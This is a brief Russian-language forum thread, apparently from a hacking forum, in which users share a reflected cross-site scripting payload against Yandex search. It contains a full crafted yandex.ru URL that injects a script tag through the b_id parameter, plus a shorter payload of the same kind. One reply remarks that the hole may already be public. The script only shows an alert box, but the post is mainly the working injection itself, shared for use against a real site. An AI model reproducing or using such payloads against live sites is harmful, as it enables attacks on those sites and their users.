yandex.ru xss

мдамс... новый год:

Code:

http://www.yandex.ru/yandsearch?b_id=xaxa"><script>alert('XAXA')</script><a%20s="

 

есть такое дело)))

 

Красиво конечно, но слишком много лишнего. Работает и вот так:

Code:

"><script>alert('XAXA')</script>

И по-моему эта xss уже давно на паблике, но не уверен. ZaCo молодец как всегда)